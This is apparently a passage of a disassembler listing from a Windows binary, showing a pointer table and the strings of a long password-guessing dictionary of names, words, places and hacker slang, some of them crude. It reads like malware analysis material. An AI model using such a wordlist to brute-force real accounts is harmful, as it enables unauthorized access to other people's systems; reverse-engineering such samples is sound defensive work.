		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_2	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername_0	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43C80C
		dd 0
dword_4313B4	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: _2:004313A8o
		align 4
aZap		db 'zap',0              ; DATA XREF: _2:004313A4o
aYellowstone	db 'yellowstone',0      ; DATA XREF: _2:004313A0o
aXyz		db 'xyz',0              ; DATA XREF: _2:0043139Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: _2:00431398o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: _2:00431394o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: _2:00431390o
		align 10h
aTty		db 'tty',0              ; DATA XREF: _2:0043138Co
aTopography	db 'topography',0       ; DATA XREF: _2:00431388o
		align 10h
aTemptation	db 'temptation',0       ; DATA XREF: _2:00431384o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: _2:00431380o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: _2:0043137Co
		align 4
aSys		db 'sys',0              ; DATA XREF: _2:00431378o
aSupported	db 'supported',0        ; DATA XREF: _2:00431374o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: _2:00431370o
		align 10h
aSuperstage	db 'superstage',0       ; DATA XREF: _2:0043136Co
		align 4
aSun		db 'sun',0              ; DATA XREF: _2:00431368o
aStuttgart	db 'stuttgart',0        ; DATA XREF: _2:00431364o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: _2:00431360o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: _2:0043135Co
		align 4
aSignature	db 'signature',0        ; DATA XREF: _2:00431358o
		align 10h
aSheffield	db 'sheffield',0        ; DATA XREF: _2:00431354o
		align 4
aSal		db 'sal',0              ; DATA XREF: _2:00431350o
aRochester	db 'rochester',0        ; DATA XREF: _2:0043134Co
		align 4
aRje		db 'rje',0              ; DATA XREF: _2:00431348o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: _2:00431344o
		align 10h
aPub		db 'pub',0              ; DATA XREF: _2:00431340o
aProfessor	db 'professor',0        ; DATA XREF: _2:0043133Co
		align 10h
aPrinceton	db 'princeton',0        ; DATA XREF: _2:00431338o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: _2:00431334o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: _2:00431330o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: _2:0043132Co
		align 10h
aPercolate	db 'percolate',0        ; DATA XREF: _2:00431328o
		align 4
aPam		db 'pam',0              ; DATA XREF: _2:00431324o
aPad		db 'pad',0              ; DATA XREF: _2:00431320o
aOceanography	db 'oceanography',0     ; DATA XREF: _2:0043131Co
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: _2:00431318o
		align 10h
aNew		db 'new',0              ; DATA XREF: _2:00431314o
aNet		db 'net',0              ; DATA XREF: _2:00431310o
aMit		db 'mit',0              ; DATA XREF: _2:0043130Co
aMgr		db 'mgr',0              ; DATA XREF: _2:00431308o
aMacintosh	db 'macintosh',0        ; DATA XREF: _2:00431304o
		align 4
aLiz		db 'liz',0              ; DATA XREF: _2:00431300o
aLee		db 'lee',0              ; DATA XREF: _2:004312FCo
aLamination	db 'lamination',0       ; DATA XREF: _2:004312F8o
		align 10h
aKim		db 'kim',0              ; DATA XREF: _2:004312F4o
aJoy		db 'joy',0              ; DATA XREF: _2:004312ECo
aJen		db 'jen',0              ; DATA XREF: _2:004312E8o
aInnocuous	db 'innocuous',0        ; DATA XREF: _2:004312E4o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: _2:004312E0o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: _2:004312DCo
aHappening	db 'happening',0        ; DATA XREF: _2:004312D8o
		align 4
aHal		db 'hal',0              ; DATA XREF: _2:004312D4o
aGnu		db 'gnu',0              ; DATA XREF: _2:004312D0o
aFun		db 'fun',0              ; DATA XREF: _2:004312CCo
aForesight	db 'foresight',0        ; DATA XREF: _2:004312C8o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: _2:004312C4o
		align 4
aExtension	db 'extension',0        ; DATA XREF: _2:004312C0o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: _2:004312BCo
		align 10h
aEnterprise	db 'enterprise',0       ; DATA XREF: _2:004312B8o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: _2:004312B4o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: _2:004312B0o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: _2:004312ACo
		align 10h
aDos		db 'dos',0              ; DATA XREF: _2:004312A8o
aDog		db 'dog',0              ; DATA XREF: _2:004312A4o
aDiscovery	db 'discovery',0        ; DATA XREF: _2:004312A0o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: _2:0043129Co
		align 10h
aDeb		db 'deb',0              ; DATA XREF: _2:00431298o
aCornelius	db 'cornelius',0        ; DATA XREF: _2:00431294o
		align 10h
aCommrades	db 'commrades',0        ; DATA XREF: _2:00431290o
		align 4
aChristine	db 'christine',0        ; DATA XREF: _2:0043128Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: _2:00431288o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: _2:00431284o
		align 10h
aCatherine	db 'catherine',0        ; DATA XREF: _2:00431280o
		align 4
aCat		db 'cat',0              ; DATA XREF: _2:0043127Co
aCampanile	db 'campanile',0        ; DATA XREF: _2:00431278o
		align 4
aCad		db 'cad',0              ; DATA XREF: _2:00431274o
aBsd		db 'bsd',0              ; DATA XREF: _2:00431270o
aBob		db 'bob',0              ; DATA XREF: _2:0043126Co
aBicameral	db 'bicameral',0        ; DATA XREF: _2:00431268o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: _2:00431264o
		align 10h
aAtmosphere	db 'atmosphere',0       ; DATA XREF: _2:00431260o
		align 4
aAsm		db 'asm',0              ; DATA XREF: _2:0043125Co
aAsd		db 'asd',0              ; DATA XREF: _2:00431258o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: _2:00431254o
		align 4
aAnn		db 'ann',0              ; DATA XREF: _2:00431250o
aAndromache	db 'andromache',0       ; DATA XREF: _2:0043124Co
		align 4
aAmy		db 'amy',0              ; DATA XREF: _2:00431248o
aAmorphous	db 'amorphous',0        ; DATA XREF: _2:00431244o
		align 4
aAma		db 'ama',0              ; DATA XREF: _2:00431240o
aAlf		db 'alf',0              ; DATA XREF: _2:0043123Co
aAlbatross	db 'albatross',0        ; DATA XREF: _2:00431238o
		align 4
aAda		db 'ada',0              ; DATA XREF: _2:00431234o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: _2:00431230o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: _2:0043122Co
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: _2:00431228o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: _2:00431224o
		align 4
aHax		db 'hax',0              ; DATA XREF: _2:00431220o
aWh0re		db 'wh0re',0            ; DATA XREF: _2:0043121Co
		align 10h
aHo		db 'ho',0               ; DATA XREF: _2:00431218o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: _2:00431214o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: _2:00431210o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: _2:0043120Co
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: _2:00431208o
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: _2:00431204o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: _2:00431200o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: _2:004311FCo
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: _2:004311F8o
		align 10h
aWindowsme	db 'windowsME',0        ; DATA XREF: _2:004311F4o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: _2:004311F0o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: _2:004311ECo
		align 4
aMs		db 'MS',0               ; DATA XREF: _2:004311E8o
		align 4
aM		db 'M$',0               ; DATA XREF: _2:004311E4o
		align 4
aBilly		db 'billy',0            ; DATA XREF: _2:004311E0o
		align 4
aWindose	db 'windose',0          ; DATA XREF: _2:004311DCo
aWindoze	db 'windoze',0          ; DATA XREF: _2:004311D8o
aWindowz	db 'windowz',0          ; DATA XREF: _2:004311D4o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: _2:004311D0o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: _2:004311CCo
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: _2:004311C8o
		align 10h
aAl3x		db 'Al3x',0             ; DATA XREF: _2:004311C4o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: _2:004311C0o
		align 10h
aDudette	db 'dudette',0          ; DATA XREF: _2:004311BCo
aD00d		db 'd00d',0             ; DATA XREF: _2:004311B8o
		align 10h
aLol		db 'lol',0              ; DATA XREF: _2:004311B4o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: _2:004311B0o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: _2:004311ACo
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: _2:004311A8o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: _2:004311A4o
		align 4
aTestin		db 'testin',0           ; DATA XREF: _2:004311A0o
		align 4
aTester		db 'tester',0           ; DATA XREF: _2:0043119Co
		align 4
a00000000	db '00000000',0         ; DATA XREF: _2:00431198o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: _2:00431194o
		align 10h
aZombie		db 'zombie',0           ; DATA XREF: _2:00431190o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: _2:0043118Co
		align 10h
aZimmerma	db 'zimmerma',0         ; DATA XREF: _2:00431188o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: _2:00431184o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: _2:00431180o
		align 10h
aZebra		db 'zebra',0            ; DATA XREF: _2:0043117Co
		align 4
aYoung		db 'young',0            ; DATA XREF: _2:00431178o
		align 10h
aYosemite	db 'yosemite',0         ; DATA XREF: _2:00431174o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: _2:00431170o
aYellowst	db 'yellowst',0         ; DATA XREF: _2:0043116Co
		align 10h
aYellow		db 'yellow',0           ; DATA XREF: _2:00431168o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: _2:00431164o
		align 10h
aYang		db 'yang',0             ; DATA XREF: _2:00431160o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: _2:0043115Co
		align 10h
aXyzzy		db 'xyzzy',0            ; DATA XREF: _2:00431158o
		align 4
aXray		db 'xray',0             ; DATA XREF: _2:00431154o
		align 10h
aXmodem		db 'xmodem',0           ; DATA XREF: _2:00431150o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: _2:0043114Co
		align 10h
aXman		db 'xman',0             ; DATA XREF: _2:00431148o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: _2:00431144o
		align 10h
aXena		db 'xena',0             ; DATA XREF: _2:00431140o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: _2:0043113Co
aWwii		db 'wwii',0             ; DATA XREF: _2:00431138o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: _2:00431134o
		align 4
aWorm		db 'worm',0             ; DATA XREF: _2:00431130o
		align 4
aWork		db 'work',0             ; DATA XREF: _2:0043112Co
		align 4
aWorf		db 'worf',0             ; DATA XREF: _2:00431128o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: _2:00431124o
		align 4
aWord		db 'word',0             ; DATA XREF: _2:00431120o
		align 10h
aWoodwind	db 'woodwind',0         ; DATA XREF: _2:0043111Co
		align 4
aWood		db 'wood',0             ; DATA XREF: _2:00431118o
		align 4
aWomen		db 'women',0            ; DATA XREF: _2:00431114o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: _2:00431110o
		align 4
aWoman		db 'woman',0            ; DATA XREF: _2:0043110Co
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: _2:00431108o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: _2:00431104o
		align 10h
aWizard		db 'wizard',0           ; DATA XREF: _2:00431100o
		align 4
aWithin		db 'within',0           ; DATA XREF: _2:004310FCo
		align 10h
aWiseass	db 'wiseass',0          ; DATA XREF: _2:004310F8o
aWisconsi	db 'wisconsi',0         ; DATA XREF: _2:004310F4o
		align 4
aWired		db 'wired',0            ; DATA XREF: _2:004310F0o
		align 4
aWinston	db 'winston',0          ; DATA XREF: _2:004310ECo
aWing		db 'wing',0             ; DATA XREF: _2:004310E8o
		align 4
aWine		db 'wine',0             ; DATA XREF: _2:004310E4o
		align 4
aWindows	db 'windows',0          ; DATA XREF: _2:004310E0o
aWilma		db 'wilma',0            ; DATA XREF: _2:004310DCo
		align 4
aWillie		db 'willie',0           ; DATA XREF: _2:004310D8o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: _2:004310D4o
		align 4
aWilliam	db 'william',0          ; DATA XREF: _2:004310D0o
aWill		db 'will',0             ; DATA XREF: _2:004310CCo
		align 4
aWhore		db 'whore',0            ; DATA XREF: _2:004310C8o
		align 10h
aWholesal	db 'wholesal',0         ; DATA XREF: _2:004310C4o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: _2:004310C0o
aWhiting	db 'whiting',0          ; DATA XREF: _2:004310BCo
aWhite		db 'white',0            ; DATA XREF: _2:004310B8o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: _2:004310B4o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: _2:004310B0o
aWhatever	db 'whatever',0         ; DATA XREF: _2:004310ACo
		align 10h
aWestern	db 'western',0          ; DATA XREF: _2:004310A8o
aWest		db 'west',0             ; DATA XREF: _2:004310A4o
		align 10h
aWerewolf	db 'werewolf',0         ; DATA XREF: _2:004310A0o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: _2:0043109Co
		align 4
aWendi		db 'wendi',0            ; DATA XREF: _2:00431098o
		align 4
aWell		db 'well',0             ; DATA XREF: _2:00431094o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: _2:00431090o
		align 4
aWeed		db 'weed',0             ; DATA XREF: _2:0043108Co
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: _2:00431088o
		align 10h
aWebpage	db 'webpage',0          ; DATA XREF: _2:00431084o
aWave		db 'wave',0             ; DATA XREF: _2:00431080o
		align 10h
aWater		db 'water',0            ; DATA XREF: _2:0043107Co
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: _2:00431078o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: _2:00431074o
		align 4
aWarren		db 'warren',0           ; DATA XREF: _2:00431070o
		align 4
aWarp		db 'warp',0             ; DATA XREF: _2:0043106Co
		align 4
aWargames	db 'wargames',0         ; DATA XREF: _2:00431068o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: _2:00431064o
aWarez		db 'warez',0            ; DATA XREF: _2:00431060o
		align 4
aWard		db 'ward',0             ; DATA XREF: _2:0043105Co
		align 10h
aWaco		db 'waco',0             ; DATA XREF: _2:00431058o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: _2:00431054o
		align 10h
aVisualba	db 'visualba',0         ; DATA XREF: _2:00431050o
		align 4
aVisual		db 'visual',0           ; DATA XREF: _2:0043104Co
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: _2:00431048o
aVirus		db 'virus',0            ; DATA XREF: _2:00431044o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: _2:00431040o
		align 10h
aVirgin		db 'virgin',0           ; DATA XREF: _2:0043103Co
		align 4
aVillage	db 'village',0          ; DATA XREF: _2:00431038o
aVideogam	db 'videogam',0         ; DATA XREF: _2:00431034o
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A0o
					; _2:00431030o
		align 4
aVictor		db 'victor',0           ; DATA XREF: _2:0043102Co
		align 4
aVicky		db 'vicky',0            ; DATA XREF: _2:00431028o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: _2:00431024o
aVeronica	db 'veronica',0         ; DATA XREF: _2:00431020o
		align 4
aVenus		db 'venus',0            ; DATA XREF: _2:0043101Co
		align 10h
aVasant		db 'vasant',0           ; DATA XREF: _2:00431018o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: _2:00431014o
aValerie	db 'valerie',0          ; DATA XREF: _2:00431010o
aVagina		db 'vagina',0           ; DATA XREF: _2:0043100Co
		align 10h
aUucp		db 'uucp',0             ; DATA XREF: _2:00431008o
		align 4
aUtility	db 'utility',0          ; DATA XREF: _2:00431004o
aUtil		db 'util',0             ; DATA XREF: _2:00431000o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: _2:00430FFCo
		align 10h
aUsername_0	db 'username',0         ; DATA XREF: _2:00430FF8o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: _2:00430FF4o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: _2:00430FF0o
		align 10h
aUrsula		db 'ursula',0           ; DATA XREF: _2:00430FECo
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: _2:00430FE8o
		align 10h
aUranus		db 'uranus',0           ; DATA XREF: _2:00430FE4o
		align 4
